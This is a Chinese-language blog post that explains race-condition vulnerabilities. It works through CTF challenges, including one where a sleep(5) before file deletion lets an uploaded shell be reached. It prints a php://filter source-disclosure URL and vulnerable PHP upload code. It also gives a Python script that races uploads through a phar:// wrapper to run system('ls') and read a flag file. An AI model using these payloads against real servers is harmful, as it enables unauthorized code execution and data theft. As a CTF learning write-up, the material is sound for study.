V0W's Blog

条件竞争

字数统计: 1,700阅读时长: 7 min
2018/08/16 Share

条件竞争

在之前一个比赛遇到过,但是一直不会做,所以参考多位大佬的博客,记录一下,希望下次遇到的时候能够做出来。

0x01 漏洞简介

条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现 bug。尤其在当前我们的系统中大量对资源进行共享,如果处理不当的话,就会产生条件竞争漏洞。

上面的解释太官方了,我的理解是:

程序在运用多线程时,没有做好线程同步,导致产生非预期结果。

竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。 ——Wikipedia-computer_science

这在我学习完《操作系统》后是很好理解的。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#-*-coding:utf-8-*-
import threading
COUNT = 0

def Run(threads_name):
global COUNT
read_value = COUNT
print "COUNT in Thread-%s is %d" % (str(threads_name), read_value)
COUNT = read_value + 1

def main():
threads = []
for j in range(10):
t = threading.Thread(target=Run,args=(j,))
threads.append(t)
t.start()
for i in range(len(threads)):
threads[i].join()
print("Finally, The COUNT is %d" % (COUNT,))

if __name__ == '__main__':
main()

运行结果如下:
mark

按照我们的预想,结果应该都是10,但是发现结果可能存在非预期解,并且出现非预期的概率还挺大的。

这是什么原因呢?

原因就在于我们没有对变量COUNT做同步制约,导致可能Thread-7在读COUNT,还没来得及更改COUNT,Thread-8抢夺资源,也来读COUNT,并且将COUNT修改为它读的结果+1,由此出现非预期。

同样的,WEB应用程序因为要为很多用户服务,势必要采用多线程,但是,如果种种原因导致线程间的同步机制没处理好,那么也就会导致非预期和条件竞争的漏洞。

0x02 漏洞实战

0x03 条件竞争在CTF中的运用

1.文件上传+条件竞争

一般是上传文件,绕过防护之后,小马又会被立马删除。
但是由于文件存在过,我们可以利用python脚本不断访问shell,这样就形成了python脚本web删除程序之间的竞争,一定的测试量后,可以竞争到资源,执行shell,从而得到flag。

CUMT平台上有一道经典例题,但是这个环境关了,于是我也只是看了看WP,参考这篇大佬的博客

2.Session+条件竞争

0CTF2018中的一个题

服务器通过session对请求顺序建立了锁,因此我们需要多个session,使用两个浏览器登录同一个账户即可。在将IP改为8.8.8.8时,有短时间的网络请求堵塞,我们在这个时间段,使用另一个session提交请求,即可通过验证,成功将IP改为8.8.8.8,然后获得flag。

这道题我做了==、

首先php伪协议读源码

1
http://202.112.51.184:8004/index.php?page=php://filter/read=convert.base64-encode/resource=upload

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
if($name!=="")
{
$name1=substr($name,-4);
if(($name1!==".gif") and ($name1!==".jpg"))
{
echo "hehe";
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if($type!=="image/jpeg"&&$type!=="image/gif")
{
echo mime_content_type($tmpName);
echo "<script language=javascript>alert('不允许的文件类型!');history.go(-1)</script>";
exit;
}
if(is_uploaded_file($tmpName)){
$time=time();
$rootpath='uploads/'.$time.$name1;
if(!move_uploaded_file($tmpName,$rootpath)){
echo "<script language='JavaScript'>alert('文件移动失败!');window.location='index.php?page=submit'</script>";
exit;
}
else{
sleep(5);
if ($type=='image/jpeg')
{
$im = @imagecreatefromjpeg($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagejpeg($im,$new_rootpath);
}
}
else if ($type=='image/gif')
{
$im = @imagecreatefromgif($rootpath);
if(!$im){
$im = imagecreatetruecolor(150, 30);
$bg = imagecolorallocate($im, 255, 255, 255);
$text_color = imagecolorallocate($im, 0, 0, 255);
imagefilledrectangle($im, 0, 0, 150, 30, $bg);
imagestring($im, 3, 5, 5, "Error loading image", $text_color);
} else {
$time=time();
$new_rootpath='uploads/'.$time.$name1;
imagegif($im,$new_rootpath);
}
}
unlink($rootpath);
}
}
echo "图片ID:".$time;
}
}
catch(Exception $e)
{
echo "ERROR";
}
//
?>
</html>

首先是上传的一些判断
之后会验证图像是否正确载入
如果上传了正确的图片,imagecreatefromjpeg()返回图像资源,文件名更换为新的时间戳,用新的文件路径$new_rootpath输出图片,最后删除原文件unlink($rootpath);
如果上传了不正确的图片,不会更换新的文件路径,最后还要删除源文件unlink($rootpath);
看上去没问题,但是上传完文件执行了sleep(5);,所以上传的文件即使验证不成功也有5秒钟的时间存在,所以在五秒钟的时间内利用就可以.

一边用Burp Intruer发包
mark

一边用python脚本就访问链接,会存在没被删除的,从而利用getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time
id = int(time.time())
s=requests.session()
data0={'v':"phpinfo();",}
data1={
'v':"system('ls');"
}
data2={
'v':"system('cat xxxxxxxxxasdasf_flag.php');"
}
while 1:
for i in range(id-50,id+50):
url = 'http://202.112.51.184:9005/index.php?page=phar://./uploads/' + str(i) + '.jpg/v'
t=s.post(url,data=data1).content
print i
if 'flag' in t:
print t
break
while 1:
for i in range(id-50,id+50):
url = 'http://202.112.51.184:9005/index.php?page=phar://./uploads/' + str(i) + '.jpg/v'
t=s.post(url,data=data1).content
print i
if 'flag' in t:
print t
break
# XMAN{Rush_Rush_oo000}

0x05 总结以及漏洞修复

条件竞争漏洞产生的很大一部分原因是程序不严谨,对于并发操作没有做好同步制约,毕竟开发者在进行代码开发的时候,常常倾向于代码会以线性的方式执行,而并行服务器会同时执行多个线程,这就会导致意想不到的结果。

条件竞争漏洞的修复主要看开发者,以上述的Web漏洞为例:

  1. 对于数据库的操作,比较正统的方法是设置锁
  2. 对于文件上传,“引狼入室”的方法不可取,最好先进行充分的检测,再上传到服务器。

0xff 参考链接

  1. 小结一下Web的条件竞争的题目
  2. 条件竞争(Race Condition)
  3. Web中的条件竞争漏洞
CATALOG
  1. 1. 条件竞争
  2. 2. 0x01 漏洞简介
  3. 3. 0x02 漏洞实战
  4. 4. 0x03 条件竞争在CTF中的运用
    1. 4.1. 1.文件上传+条件竞争
    2. 4.2. 2.Session+条件竞争
    3. 4.3. 3. XMAN-Easy Gallery
  5. 5. 0x05 总结以及漏洞修复
  6. 6. 0xff 参考链接